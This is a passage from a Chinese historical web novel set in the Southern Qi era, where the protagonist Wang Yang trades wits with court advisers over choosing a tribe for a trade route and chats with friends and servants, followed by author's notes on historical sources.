乐小胖笑道:“你从出生算也没有二十几年啊。” 王扬信口说:“前世也在修行嘛。” 小胖大笑:“人家高僧前世修行佛法,到你这儿就修这个啊!!” 王扬依旧闭着眼,嘴角带着笑意,慢悠悠说道: “佛门有‘金刚狮子吼’,我修的这叫‘暖玉销魂吟’。讲究的是以水温为引,以身心为器,吟出天地间的至柔至暖。像你这般粗犷的叫法,那是连门槛也摸不到的。” 乐小胖笑出猪叫声。池边几位美婢都忍俊不禁。 乐庞游了两趟往返,回到池边,早有美婢端着切好的甜瓜、凉茶,送到他面前。 小胖吃了几块瓜,喝了半盏茶,向王扬道: “这儿吧,虽然不如‘宜都二汤’精好,但胜在是石窟里,暑天也能泡。整个荆州暑天能泡温泉的,也就这一家了。不过和佷山泉、夷陵泉比,确实差点意思。等入了冬,咱俩去宜都,好好泡一次。” 王扬睁开眼睛:“行,最好等雪天,雪天泡有意思。” 乐小胖小吸了一口气:“雪天泡温泉?” 王扬接过婢女送来的巾帕,擦擦脸,又饮了一口冰橙浆(加蜜与水的橙汁),沉吟道: “温泉里观雪,细沙滩上看海,夜晚山亭里听溪,冷雨敲窗时读书,皆‘好消遣’也。” 乐小胖啧啧道:“不行不行,我得把这段背下来!哪天在我爹面前露个脸.....诶?那个词是啥来着???” 乐小胖想了想,拍手道:“对,是装比!哪天在我爹面前装个比。” 王扬惊异地看着小胖:“你这装和比中间用的这个‘个’字,很有灵性啊!” 小胖欢喜道:“是吗?我用词也很有灵性对不对?” 王扬笑道:“相当有灵性!” 美婢从王扬手中接过酒杯,说道:“公子如果喜欢风景,浴后可以登岩,山上有环云峰、御风台,景色很好的。也可以指定我们这儿的人作向导,相随服侍。” 美婢说完,状似怯怯地低下头。 乐小胖道:“咱去不?” 王扬知道孔长瑜今天会来找他,说不定这会儿已经到了,微微一笑说:“去。我今天不急。” “好!”乐小胖抚掌击水,随即迟疑道:“但咱得吃饭啊,可这儿厨子可一般,四果八肴的,没什么吃头。” 王扬想了想,向婢女说:“你叫人做些时蔬野味,样式不拘,只捡新鲜的、拿手的来,然后送到山上,我们在山上吃。” 然后问乐小胖:“想喝什么酒?” 小胖看向王扬:“要不竹叶?” 婢女抱歉道:“这儿没有竹叶酒,不过有新熟的绿醅。” 王扬道:“就这个吧。” 婢女娇娇弱弱地行了个礼,便去安排。 小胖一脸憾色: “这儿的厨子手艺确实一般,做不了什么精致菜肴,并且也没个美姬弹琴唱曲......唉,本来想请你吃香雪楼的。” 王扬笑道: “咱们携酒上山,对景下箸,吃的就是个野趣。菜太精致,反而不谐。莺啼鸟啭,堪成主宾之欢;草媚花醉,可比娇姬在侧。至于厨子手艺如何,也就别太计较了。” 乐小胖瞪大眼睛:“我的天,有才华是好啊,菜不行都能说个出花样来......” 王扬双肘向后搭在池边上,懒洋洋地叹了口气:“主要昨天连吃两顿香雪楼,吃得有点腻了.....” 小胖鼻息倒抽,侧目看了看王扬,认真问道: “你实话实说,刚才是不是在装比?” 王扬笑着遣退几名侍候的婢女。游到小胖身边,一脸八卦的表情: “我听何三郎说,放眼江陵,他是最早知道‘帝京三姝’的,城里追捧三姝,都是他带起来的。” 乐小胖猛地从水里坐直了身子,溅起一片水花: “他放屁! 他连荆州都没出过,他知道个鸟啊! 我是在丹阳长大的,我听说三姝的时候,他还在玩泥巴呢! 他的消息都是转了三四手的,也就蒙蒙没见过世面的小孩儿, 像我这种真正懂行的,包括殷小五,我们之间对谈,他都插不上话!” 懂行.......对谈........ 可以可以,果然专业。 王扬忍住笑:“那我问你,谢四娘子有个萧的朋友,你听说过吗?” 要打听idol的信息,那问粉头子准没错。 谢星涵虽然不是idol,但她名气大啊,所以王扬得到“萧”姓线索后,第一时间就想到了乐小胖这个“追星少年”。 “兰陵萧?” “应该是吧。” “那多了去了!光宗室女就好几个呢!长城公主也和她相熟啊,也姓萧。” 王扬心中一动,问道: “长城公主?学问广博吗?” 难道她是公主? “这个我也不知道,只知道公主想和谢四娘子清谈,谢四娘子怎么都不肯。” 王扬想了想又问:“公主貌美吗?美得倾国倾城的那种。” 乐小胖挠挠头:“这个我不也太清楚。但既然没入帝京三姝,就应该就没那么美吧。不过你要说倾国倾城......” 乐小胖像是被点燃的蜡烛,整个人都精神了几分,神色兴奋道: “那还得是帝京三姝啊!单出任何一个,吊打,是这个词吧?” 王扬笑着点头。 乐小胖神情自豪,一挥手,语气激昻:“单出她们任何一个,吊打北虏彭城长公主!” 王扬笑得捂脸,乐小胖道:“你笑什么,这是真的!伪彭城长公主号称艳冠天下,见了三姝画像还不是连饭都吃不下!” 王扬对那个画像吊打的故事可谓记忆犹新,也不想破坏乐小胖的信念感,笑道:“是是是,我朝气象,自然不是北虏能比的。” 乐小胖洋洋得意:“那是自然!诶?三姝之一,西昌侯女,就是姓萧,和谢娘子是闺中密友。” 王扬眼睛一亮:“这个西昌侯是?” “萧鸾,萧贤相,皇上堂弟,封西昌侯,铁杆太子党,现在好像不是尚书右仆射就是左仆射,记不清了。他的事我不太了解,但他女儿吧.....” 乐小胖双手掰在一起,兴致勃勃: “据说萧娘子小时聪明绝顶,八岁那年,一人同时和四个人下棋,结果四局全盛,有神童之称!文章读过一遍,就能成诵!但好像在母亲过世后性情一变,不喜交游,宴会很少参加,也不和人清谈,似乎不通诗赋?总之才名不太显,性子冷淡。帝京三姝中就属她信息最少。 传言倒是有不少,有说她有宿疾在身,所以很少赴宴;有说她生活豪奢,故而不被西昌侯所喜,禁止她外出;还有说她出门少是因为闭门在家博览群书,王文宪公曾服其博学,这个说实话就夸张了,其实我一直想有机会求证一下,可是文宪公已经去世了,不过我可以找......” 王扬听着乐小胖眉飞色舞说着各种轶事传闻,嘴角缓缓勾出一个弧度。 萧娘子是吗? 嘿嘿, 抓住你了。 —————— 注:①当时尚书仆射也称宰相,所以萧鸾虽然还没做到尚书令,已有相名。对南朝宰相称呼感兴趣的可以参看祝总斌先生的《两汉魏晋南北朝宰相制度研究》。 ②熊会贞注《水经注》:“《初学记》引《荆州记》:‘佷山县出温泉。’又引袁山松《宜都山川记》,佷山县有温泉注大溪,夏才暖,冬则大热,上常有雾气,百病久疾,入此水多愈。”(《水经注疏·夷水》) 李贤注《后汉书》引《荆州图》曰:“夷陵县西有温泉。古老相传,此泉元出盐,于今水有盐气。”(《后汉书·南蛮西南夷传》) 此时夷陵、佷山二县都属荆州宜都郡辖下,所以小胖说“宜都二汤”,汤就是汤泉的意思。 陈寅恪先生在《元白诗笺证稿》中言:“温泉疗疾之风气,本盛行于北朝贵族间。唐世温泉宫之建置,不过承袭北朝习俗之一而已。”此论在学界很是流行。所以有专门论述北朝温泉的学术成果,可于南朝温泉则无人措意。 但其实南朝温泉也有不少,并且也有疗疾之观念。比如之前小胖提到的佷山泉。只是一来数量不及北朝多,二来文献不集中,所以显得零散不成体系。 Ps.可能有的读者会好奇,为什么我在尾注和【作者说】里引用史料时,有时会转引。比如《后汉书》引《荆州图》云巴拉巴拉,直接说《荆州图》云不就得了,干嘛要加《后汉书》呢? 文献转引一般有三种情况: 第一、文献如今已经佚失,只能托他书而传,比如《初学记》引《荆州记》,荆州记现在已经看不到了,我们引用的这条《荆州记》是被保存在《初学记》里的,那么我们现在引的就是《初学记》的转引版本,而非原始版本,所以要写明出处,方便核对和比较。这是不隐其始。 第二、有前辈学者进行过学术性的总结,比如熊会贞注《水经注》时拈出《初学记》引《荆州记》云云,我们既然看到了不能假装没看到,转而自己直接引用《初学记》,这就是隐了前辈学者的功而为己用,虽然算不上剽窃,但也接近了。所以要写明从哪个学人的哪本书上引的,这是不隐其功。 第三、古籍中引用了某书,比如《渊鉴类函》引《皇明政要》如何如何,我们因为不知道《皇明政要》现在是否存在,又或者不便亦或懒得去核对《皇明政要》原文,所以转引,虽然略嫌疏懒,但胜在老实,保持学术引用的透明性和诚实性,这是不隐其源。 本书尾注涉及引用的情形,或一或二。【作者说】里专列古文献,所以那里面涉及到的转引,都是第一种情况。 第218章 双狐斗 烟中远鸟归,城门灯火微。 王宅厅中,孔长瑜一坐就是一下午,等的是百无聊赖,肝肠寸断。 其实他为了避免显得过于主动,特意选择午饭之后才登门,谁知王扬根本不在家,只好坐等。 可左等右等,也不见王扬回来,问那个兵户管家,只说出去了,也不知道具体去哪了。那个管家虽然是个兵户出身,不过倒是个晓人情的,茶果糕点,一应俱全,看他等得时间太长了,还表情歉疚地提议他可以先去忙别的,等公子回来,立即给他报信。 孔长瑜也不想在这儿傻等,但他领的是死命令,这万一错过时间,最后产生什么纰漏,王爷雷霆一怒,自己如何担当得起?所以只能硬着头皮,继续等下去。 正望眼欲穿间,隐约听到外面脚步声乱,夹杂着几句低语和轻笑,由远及近。低语声渐高,笑声也变得更加清晰明爽。 孔长瑜支起耳朵,只听一道男子的声音传来: “......小珊,回来时候看到块翠玉玦,特别配你,你看看,喜欢不?” 一个清冷少女声道:“哪里配我了?” “所谓‘腰下宝玦青珊瑚’,宝玦自然要配青珊了!” 少女似是不信,有些嗔怨:“你又编来唬我......” “这回可不是我编的,是真有这句......” “好贵的吧......”少女声音担忧又心疼。 “不贵!又不是古玉......诶?阿五,跑什么?” 一个童声道:“阿五去给公子煮醒酒汤!” “接着。” 男子忽然提高了音量,似乎抛出了什么东西。 童声惊喜道:“啊!蜜饯!” “醒酒汤不用,洗点葡萄吧。” “遵命!” 脚步声进门,孔长瑜赶忙整理了一下衣装,站了起来,只见一位贵公子侧帽轻衫,摇扇而入。颊染微霞,似带三分薄醉;目藏朗星,恰露半缕疏狂。衣摆流云摇玉树,腰间锦带束风华。 “王公子。”孔长瑜躬身行礼。 王扬折扇一点: “坐坐坐,让先生久等,是我的不是了,我这儿有昨儿新到的葡萄,一起尝尝。” 虽然话中自承有错,但态度显得轻松自如,显然只是客套之辞。 孔长瑜也心知肚明,若非傍着王爷,他恐怕连琅琊王氏的门都进不去,忙拱手谢道: “那就托公子的福了。小人昔日读书,见钟会植葡萄于堂前,羡慕得紧,可惜小人无此技艺,不然植个百八十株,也不至于来公子这儿讨葡萄吃。” 王扬笑道:“当时洛阳盛行种葡萄,左思《魏都赋》云:‘篁筱怀风,蒲陶结阴’。潘岳《闲居赋》言:‘石榴蒲桃之珍,磊落蔓延乎其侧’。钟会受其熏染,估计也就是跟风植了几藤,图个新鲜,能不能活还不一定。和孔先生这百八十株的宏愿一比,倒是小道了。” 孔长瑜连道惭愧:“公子见笑了,我这俗人只会贪多。” “贪多求全,人之常情。红尘之中,谁能免俗?正好,我也是俗人一个,葡萄买得也多,今日一同贪多,不许客气!” 此人??博闻强记,出口成章,言辞有趣,怪不得王爷舍不得杀他...... 两人吃着葡萄,谈谈说说,都是些不着边际的闲话,谁也不说正题,最后领了命令的孔长瑜最先按捺不住,说道: “小人这次奉了王爷的命令而来,公子有什么想问的尽管问,小人一定知无不言,言无不尽。” “好啊,那我请教先生,永宁蛮(A)、武宁蛮(B)、宜都蛮(C),哪一部最适合开蛮路通商?” (为了大家读下面的时候不搞混,加ABC方便辨认) 孔长瑜沉吟片刻,看着王扬,缓缓说道: “窃以为,此三部,都不适合。” 哎呦,可以啊。 王扬不动声色道:“愿闻其详。” “永宁蛮多仇家(A),武宁蛮反覆无信(B)??,宜都蛮敌视汉人(C)。都不合适。” 孔长瑜故意说得很简略,他开始怀疑王扬这只小狐狸正在钓鱼。 王扬如果表现得很主动,那他会怀疑王扬的用心。可从王扬不在家到进门聊天,王扬是过于不主动了,这也可能存在问题。 因为如果王扬真的藏奸,那他会故意摆姿态,以撇清自己的嫌疑。 孔长瑜倒要看看,这个小狐狸会是什么反应。 让他稍微松了一口气的是,王扬坦然追问了:“然后呢?说详细点。” “是。永宁蛮仇家很多(A),像宜都蛮、上蔡蛮、沮阳蛮,包括那个劫走柳四公子的汶阳蛮,他们互相攻伐,常有仇杀,不太平啊。 武宁蛮狡诈之风盛行(B),反复无常,今日与人交好,明日便可能翻脸不认,没有信誉啊。 宜都蛮乃长沙武陵蛮的分支(C),后汉时才迁徙到荆州,早就通行汉语汉字,但居然最排汉!抓到汉人,便祭槃瓠神,凶暴残忍啊。” 王扬看着孔长瑜:“那先生有什么好建议呢?” 孔长瑜想的是不通商最好,但人家叔父都讨论得差不多了,请他来就是给建议的,他如果什么建议都没提出来,反而把整个决策否了,岂不讨人嫌?并且不排除有惹得王扬生厌,直接不谈了的风险,他还没完成巴东王交待的任务,不能就此离开。 孔长瑜道:“如果一定要选,我建议先和建平蛮通商。建平蛮居于——” 王扬毫不客气地打断道:“这个先生就不必说了。三蛮选其一,这是我叔父他们已经讨论出的定见,不容更改。” 孔长瑜拱手道:“抱歉,是小人节外生枝了。” “不,说不定先生考虑得很有道理,只是......”王扬苦笑了一下,“我也没有再提出新见的权力,只能三选一,所以就不浪费先生时间提一个新的选择了。” 孔长瑜不得不承认,王扬这个人真的不讨人厌。尊卑之间的一些做派是孔长瑜司空见惯,也习以为常的。王扬有这种做派,但在程度上恰到好处,既不失身份原则,又不过分欺人。他说的一些话,虽然你明知道是外交辞令,未必有多少真诚在,但综合语气和神情,总体上还是让人感觉比较舒服的。 “公子言重了,小人见识有限,也只是随口一提,不知公子三个部族准备选哪个?”孔长瑜盯着王扬。 “你的意思是?”王扬反问。 “小人......”孔长瑜眉头紧蹙,故意摆出努力思考同时又觉得很为难的样子,沉默一段时间之后才叹了口气:“小人实在选不出。” 你个老狐狸。 王扬也学孔长瑜的样子,皱眉想了一会儿,说:“确实是不好选。这样,我再想想,今天就多谢先生了.......” 孔长瑜一听竟是要打住话题的意思,便装作思考之中突然有了什么心得似的,说道: “既然三者都有劣势,又必选其一,那就应该看哪部的劣势最不能接受。譬若木盆打水,水量多少不系于最长之板,而系于最短者。” 王扬作豁然开朗状:“先生高见!请先生比较三蛮劣势之长短。” “我以为,其弊最大者,乃宜都蛮!(C) 宜都蛮敌视汉人已久,光此一条,就断了通商的可能。并且他们不仅自己敌视汉人,还鼓动其他蛮部敌视汉人,若有与汉人结好者,便谓之背叛。所以即便我们提出通商,他们也不会接受。 还有一点,他们的部族很松散,由各种家族组成,这些家族共同信奉槃瓠神,认为槃瓠神会派神使来拯救部族,找不到神使,便没有首领,一直由三个最大家族的族长共管。 可由于没有公认的首领,所以这三个族长的权力也不是很大,根本无法控制整个宜都蛮部。这太不稳定了!就算朝廷和三个族长谈妥,但决策政令,也无法贯彻,这种条件下,如何能通商呢? 所以,宜都蛮是应该最先摒弃的!” 孔长瑜言之凿凿,态度鲜明。 王扬点头道:“原来如此,那这一部绝对不能用!敢问剩余两部应该如何取舍呢?” “永宁蛮虽然不太平(A),多攻战仇杀,但他们很有实力,几部之中最为富有,对汉人的态度也很平和,和他们交易,有很多货物可换,利最大。武宁蛮各方面条件都平平(B),但就凭他们天性奸滑,背约负盟,也不可与之交易!若无信誉,怎能通商?今日定价,明日反悔,今日开市,明日清野,那怎么能成呢?所以我建议,开蛮路贸易,当选永宁蛮(A)!” 王扬若有所思:“我写《南蛮统考》时便写过这个武宁蛮(B),他们晋时三次背盟,最受唾弃,先生说他们无信誉,是指近十年来又发生了什么无信誉之事吗?” “这个倒没有,我说的也是晋时三叛之事。但这种无信是刻在武宁蛮血液中的,一朝无信,便不能信!事虽久远,但其谲诈多诈,恐怕早已深入骨髓。即便近年来未有明显背信之事,那也不过是没遇到什么考验罢了。一旦我们与之通商,利益丰厚,难保他们不会故态复萌。” 王扬缓缓摇扇道: “先生所言,未免有些武断了。时移世易,理不刻舟,岂能以百年前之事断言今日哉?并且永宁蛮虽有诸多好处(A),但多仇敌攻伐一条,弊端太大。不太平如何营商?若蛮路不能保证安全,商队往来,动辄被劫,这......” 孔长瑜坚持道: “两害相权取其轻,小人以为,武宁蛮奸诡反覆(B),乃是其部族生存之道,难以轻易改变!通商的根本在于守信,信不能守,便无通商之基础。至于永宁蛮(A)商路安全之事,可以派遣军兵护送,或者干脆联合永宁蛮一同负责安全。” 两人讨论了一阵,谁也没说服谁,不过两人都认为已经得到自己想要的了,所以心情都不错,孔长瑜出门上了马车后,摇头笑道:“还是太年轻了。” 王扬目送孔长瑜离开,喃喃笑道:“还是太simple了。” 第219章 谋人谋己 华烛光辉,漫浸屏帏。 窗前,王扬展开白纸,提笔蘸墨,陈青珊biu的一下站到王扬身边,明亮的眼眸一瞬不瞬地盯着纸面,神色期待。 王扬笑道:“今天不写小说。” “哦。”陈青珊凤眸一暗,整个人都蔫了几分。 王扬见此便道:“一会儿我给你讲一段。” 陈青珊眼睛猛地亮了起来,嘴角上扬,点头飞快,表情还有点小激动。 王扬准备下笔,见陈青珊还在边上等着,哭笑不得道:“这样,你先去练剑,我完事就来找你。” 陈青珊想了想,认真问道:“我不练剑,看书可以吗?” “可以啊。” “吃黄柑可以吗?” “可以。” 陈青珊眨眨眼,试探道:“那——” “小珊啊,看书的时候是不可以吃带汁水、易碎屑或者沾油污的食物的。” “哦。” 小珊尝试失败,垂头丧气地撤离。 王扬一边写字,一边悠悠说道: “我让宋嫂买了榛子和板栗,一口一个的话,没有碎屑,也没有汁水油污,不过记得擦手......” 小珊身影一顿,瞬间恢复元气! 王扬看着陈青珊元气满满地出门,笑了笑,然后目光重新回到纸上。 纸上是他刚写的三个蛮部名: “永宁蛮(A)、武宁蛮(B)、宜都蛮(C)”。 王扬在孔长瑜讨论的过程中已经得出了答案,但他行事一向求稳,所以现在要复盘,他要重新推理一次,寻找自己的漏洞。 此时在复盘的不只王扬一个。 孔长瑜也在复盘,给巴东王复盘。 “下官首先建议他去掉的是——宜都蛮(C)。” 巴东王皱眉:“你......” “王爷试想,如果他在第一层,是真心求教,那就会听我的建议,去掉宜都蛮。 但如果他在第二层,是特意来探问机密,那就会把宜都蛮当成我们交易的对象。” 巴东王点头:“的确如此。” “但如果他在第三层......” 巴东王:“嗯???” “如果他在第三层,即他确实是来探问机密的,但他又能同时站在我们的角度想到,下官先抛出来的、坚决去掉的‘宜都蛮’(C)是障眼法,所以,他不信!” ...... 王扬看着纸上写的“宜都蛮”三个字,墨眉微蹙。 ...... 巴东王疑惑道:“他不信不是正好猜对了吗?你这抛出的宜都蛮也没起到迷惑作用啊。” “不。如果他在第四层......” 巴东王无语打断道:“你等等!哪来这么多层......” 孔长瑜看着巴东王,定定说道:“他是王扬。” 巴东王愣了一下,旋即坐正,伸手道:“先生继续。” “如果他在第四层,他会想到实则虚之,虚则实之,会猜测我是故意反其道而行,那么我最先去除的,也是最扎眼的宜都蛮(C),反而才是我最想隐藏的!” ...... 王扬执笔,笔尖在“宜都蛮”上悬停,目光沉静。 ...... 巴东王眼中闪过一丝玩味,嘴角微微上扬:“有点意思。” “并且下官在与他争执余下两部时,刻意忽略宜都蛮部,如果他暗藏心机,那就更会怀疑我是故意转移注意力,避实就虚,模糊要害。这样,他就很可能错误地认定,宜都蛮(C),才是我们要掩盖的真相!” ...... 王扬下笔,在宜都蛮(C)上画了个叉。 ...... 巴东王先是满意地点点头,然后又有些担忧地问道: “那如果他在第五层怎么办?” 孔长瑜微微一笑:“下官早有安排。为了防止他在第五层,下官去除宜都蛮(C)后,紧接着便力荐永宁蛮!(A)” 巴东王惊怒道:“你——” “王爷容禀!他若存心试探机密,又识破宜都蛮(A)的幌子,此等狡狯心思,就不光在算事了,也能算人。所以下官要赢他,也要算人!” ...... 王扬站在案前,左手托右肘,右手手指在空中一根根拨动,凝视窗外夜色,眼神深邃。 ...... 巴东王惊怒未消,瞪着虎目:“算人?你什么意思?” “他算下官不敢弄险;算下官性文懦,又领着王命,不会自作主张,而王爷的性子又.....总之王爷不会同意下官如此行事;他算我们要求万全,不肯让此事有丝毫闪失——” 巴东王立即道:“当然不能丝毫闪失!” 孔长瑜胸有成竹,声音沉稳: “不会有闪失的。在荐永宁蛮(A)的同时,下官还在反对武宁蛮(B),他若真是心怀叵测,又认定我不敢弄险,则所疑心者,必然在武宁(B)、宜都(C)两部之间,又岂会怀疑我极力推荐的永宁蛮(A)?难道我不怕他直接选了永宁蛮(A)开商路吗?” ...... 王扬拿起笔,笔尖在“永宁蛮”(A)上方停顿了片刻,随后缓缓移向“武宁蛮”(B)。 ...... 巴东王神色阴沉起来: “本王看不出来你怕,本王看到你胆子大得很。 你别忘了,现在只是防备他别有用心,所以把事做得周密些而已。 但如果他就是单纯要选蛮路,然后听了你的意见选了永宁蛮(A), 你预备怎么办? 这不是弄巧成拙吗!” 孔长瑜拱手:“王爷放心,必不会如此。” 巴东王声音低沉而带着一丝压抑的怒意:“你如何保证?!” “下官之前说了,不仅要算事,还要算人。我算这个人,是王扬。” 巴东王眉毛一立:“是王扬又如何?” “他不是耳根子软的人,也不是不通事务的人。 他营商弄贾,史见洞达,助成常平仓,写过《南蛮统考》。 这样的人,难道会凭我争论一番,便改了主意? 他排斥‘永宁蛮’,是因为永宁蛮对通商有一个致命隐患,那便是多战乱! 王扬当知通商之道,要在平顺;试行之所,务求安稳。” 孔长瑜淡淡一笑: “永宁不宁,他如何能选?朝廷,又如何敢用? 至于下官极力贬低之‘武宁蛮’(B),他若是腐儒愚士,下官恐他拘于俗义,不察时变,轻信了下官的话; 他若是不通蛮事,下官忧他无知妄断,不知细究武宁蛮恶名之由来。 可他聪明博学,下官自然无忧无恐。 他反复和我争‘武宁蛮’(B)信义之事,其实代表他已经将‘永宁蛮’(A)摒除在外! 所以下官准备的这条锁链,套的,恰恰是他这个聪明人!” 巴东王看着孔长瑜,嘶了一声: “老孔,你今天看着有点不一样了,颇有当初向本王献‘捶车策’和谋划分遣王府诸近卫入军中的意思了。” 孔长瑜躬身弯腰,笑呵呵道: “老狗不遇事,自然软塌塌地趴在门口,但如果有贼人在门外偷偷摸摸,老狗自然要爬起来,抖擞精神,替主人看家护院。” 他说到此处,收起笑容,正色道: “下官承王爷青睐,擢为入幕之佐。虽不敢言智计超群,然亦知谋事当隐,行事当密。 下官平日不显锋芒,非无能也,实为王爷大事计,不欲引人注目。 今日事在要密,故不得不露爪牙,以报王爷知遇之恩!” 孔长瑜说完,向巴东王敛袖深揖。 巴东王虽知孔长瑜这一番表现,有一大半是被自己要收王扬入幕给激到了,所以不仅要利用此局和王扬一争短长,还要巩固地位,以示己之不可轻替。所以什么锋芒、引人注目那些话,也都是暗贬王扬的。 但他并不介意孔长瑜的这点小心思,正如他不介意王扬有些小心思一样。 巴东王爽朗大笑: “瑾怀啊! 你入幕多年,本王最是看重! 今日肯露锋芒,智算王扬,更是让本王刮目相看! 本王得卿(你),如鱼得水! 有此智士,何事不成?” 孔长瑜神色如逢甘霖,如饮美酒,当即撩袍下跪,声音激昂: “长瑜不才,愿为王爷肝脑涂地!万死不辞!” 巴东王高声叫道:“来人,赐孔先生钱二十万!” 孔长瑜身子一抖,颤声道: “王爷厚赐,长瑜何敢克当?!长瑜不过尽本分之事,何德何能受此重赏?!!” 巴东王满面喜色: “当得起当得起! 王扬那小子唬了本王好几次,你这次唬了他,算是给本王出了一口气! 再者,王扬论学拔得头筹,得钱十万,荆州儒生学子宗之。 但本王知道, 他今日,败在你手里! 他能得十万,你自然能得二十万!” 巴东王上前,拍了拍孔长瑜的手: “凡是你没得到的,本王都会替你补上。你现在隐的名,本王将来替你扬!” 孔长瑜眼脸俱红,双颊剧烈颤抖地,额头重重磕下,身子伏在地上,呜咽大哭:“王爷!!!!” 巴东王仰头,甚觉志得意满。唯一可惜的是,王扬这小子,并不知道自己败了。 ...... 雕花木门半掩,一道俏影悄然出现。 陈青珊的脑袋从门侧探了进来,一缕青丝垂下,柔柔地滑过她的脸颊。 王扬身影映在烛光中,回眸而笑: “你偷偷摸摸地干嘛?” 陈青珊觉得自己的心跳声突然变得好响,磕磕巴巴道:“好......好了吗?” 王扬笑道:“好了,王扬故事会正式开始。” 随即坐到日常和陈青珊讲故事的老位置。 小珊赶紧进门,捧着个小瓷罐,坐在王扬对面,然后把瓷罐放到两人中间,里面是她剥好的榛子和板栗。 王扬捡了颗板栗吃,开口道:“上回书说到,丰山险道,庄周一剑压服九大高手——咳,先等等,我去喝点水。” “我去!” 陈青珊抢先站起,快步走到书案前,为王扬倒茶,看到案上有一张纸,纸上写着:“永宁蛮(A)、武宁蛮(B)、宜都蛮(C)。” 奇怪的是,武宁蛮(B)和宜都蛮(C)上面都画了个叉,而永宁蛮(A)则被圈了起来。 九字之后,还有一句话:“谋人,人亦谋己。” —————— 注:《资治通鉴·齐纪二》:“初,皇子右卫将军子响出继豫章王嶷;嶷后有子,表留为世子。子响每入朝,以车服异于诸王,每拳击车壁。上闻之,诏车服与皇子同。于是有司奏子响宜还本。三月,己亥,立子响为巴东王。” 第220章 裙袂散作蝴蝶影 玉枕冰凉消暑气,碧簟纱厨,宝月朦胧睡。 “王公子,少主服了药,睡着了。能不能请您稍等片刻,让少主多睡一会儿,不会睡久的。”侍女小心翼翼地请求,语气卑微。 王扬一笑,将折扇放到案上:“好啊,我不急。” 侍女欢喜道:“多谢公子!公子今日还喝葡萄酒吗?” “可以,你们这儿的葡萄酒不错的。诶?上次是你为我打的扇吧。” 侍女脸一红,声音细若蚊吟:“公子还记得。” 王扬温声道:“当然记得了,你扇子打得很好,对你家少主也很好。” 侍女脸上红晕更甚,见王扬盯着她看,有些慌乱地低下头,嗫喏道:“公子过奖了......” 王扬目光依旧落在侍女身上,眸中带着淡淡的笑意:“不是过奖,是你做得好。上次打扇时力道轻重得宜,现在又这般为你家少主考虑,真是周到。” 侍女晕晕乎乎的,羞涩道:“奴......奴婢只是尽本分。” 王扬身子微微前倾,靠近侍女,声音又柔和了一分:“只尽本分便能尽得这样好,可见你的心细。你家少主身子不舒服吗?” 侍女见王扬突然靠近,心跳加速,脑中空白,一时间竟不知说些什么,只是恍惚地点了点头。 “侯府的药带了吗?” 侍女又点了点头,脸红得要滴出血来。 王扬嘴角微不可察地一动。 其实王扬听了小胖的那番话,已经确认这个所谓“少主”的真实身份了,但他一向稳字当头,况且一会儿还要“行大事”。所以见正主未到,堂中只有他和那个侍女两人,便顺手套路了一下。 侍女妹妹,我也是为了活命,对不住啊! 王扬得到了确认,也不停顿,继续和侍女闲聊了几句,正准备问侍女名字时,给王扬送瓜果的婢女走了进来,见此情景,微微咳了一声。 侍女回过神来,慌忙后退一步:“公子,奴婢......奴婢去......去为您准备茶点。”说完便匆匆行了个礼,逃也似离开。 王扬看着果盘中有杨梅,便捡了一颗吃,口中酸酸甜甜的,不自觉地想起母亲用小苏打、盐和淀粉泡杨梅时的场景了。也不知道现在吃的这颗杨梅有没有这样洗过。 宋人说:“别后已成千万恨,书来不寄两三行。江南春尽频相忆,为有杨梅欲共尝。”书信什么的是不可能了,至于杨梅的话...... 妈,你最近也吃杨梅了吧? 王扬正想着,忽然觉得有风掠至颈后,好像有什么东西快速接近一般。 这种感觉已经是第二次了。 他回头看去,见身后一位身量娇小、发间插着两根银簪的柳眉少女,正站得跟个木头人似的,扭着头向旁边看。 这是小登的丫鬟? 她什么时候进来的?怎么一点动静都没有? 王扬纳闷儿地收回目光,继续捡杨梅吃。 心一眸中精芒一闪,出指点向王扬颈后! 点到距离只差一张薄纸的地方,迅速收手! 王扬再次察觉到异样,立即回头,见少女正抬头望天。 王扬:....... 他知道是少女搞鬼,故意清了清嗓子,向少女道:“你看到蚊子了吗?” 心一看向王扬,茫然道:“哪有蚊子?” “有,还是只大蚊子,在我后面飞来飞去的。” 心一四下看了看,疑惑道:“是吗?我目力这么好,怎么没看到?” 这......好像不太聪明的样子...... 王扬不再说话,回过身吃水果。 心一小声嘟囔道:“搞什么嘛,一点都不难杀......” “什么?”王扬回头。 “啊?”心一一脸错愕与不解。 王扬无语,正要转过身去,心一突然道:“‘愿作鸳鸯不羡仙’那首曲子是你写的?” “曲不是我写的,词的话......” “词有错误。”心一断然道。 王扬:??? “词哪里有错误?”王扬问。 心一认真指出:“借问吹箫向紫烟,世上哪里有紫色的烟?烟都是白色的!” 紫烟乃道教炼丹修仙习用语。《列仙传》言:“丹火翼辉,紫烟成盖。”《洞玄灵宝玉京山步虚经》曰:“十华诸仙集,紫烟结成宫。”李白求丹学道,故亦喜用紫烟为辞,然后方有“日照香炉生紫烟”、“红星乱紫烟”、“暮还嵩岑之紫烟”等句。 至李贺言:“武帝爱神仙,烧金得紫烟。”言仙又言炼丹(烧金即炼丹砂为金,服之可成仙),紫烟词意较李白句更显。 所以“借问吹箫向紫烟”即是咏萧史吹箫成仙的典故,和最后一句“愿作鸳鸯不羡仙”呼应,意思是只要能和心上人在一起,即便不像萧史、弄玉那样飞升成仙也愿意。 王扬没有向心一解释,而是点头道:“姑娘果然高见。” 心一甚是得意:“那当然!” 然后仿佛为了安慰王扬一般,又加了一句:“词虽然有错误,不过曲和舞都是不错的。” “还有舞吗?” 这首诗最开始用的是王府乐伎配的曲,后来宗测听了这首诗,拽着王扬聊了半日,从汉代的“鸳鸯七十二,罗列自成行”一直聊到潘岳“如彼游川鱼,比目中路析”,回去后灵感爆棚,夜谱一曲,送给王扬。一经传出,很快压过旧曲,成为“愿作鸳鸯不羡仙”的专用配曲。 所以不管新曲旧曲,王扬都听过,可为曲子编的舞蹈,王扬还没见过。 “对啊!”心一回答道。 “你会跳?”王扬问。 心一语气中带着几分自豪:“那当然!” 王扬来了点兴趣:“你跳来看看。” 心一头一撇:“我才不给你跳哩!” 王扬笑道:“怕跳得不好,被我笑话?” 心一鼓腮小脸一鼓:“谁怕了!我跳得最好了!” 王扬不信:“骗人的吧......” “谁骗人!我就让你看看——”心一话到一半突然止住,警惕道:“想骗我跳舞?我才没那么笨呢!” 王扬笑着道:“确实没那么笨。” 心一“戳穿”王扬“诡计”,甚觉志得意满,决定一会儿好好讲给少主讲一下她智斗王扬并将其击败的过程。 畅想了一番后,忽然问王扬道:“你有多少护卫?” “我算算。”王扬拿起扇子,拍了拍掌心,神色思忖,口中念叨,似是在计算,然后说道:“不到一百个。” 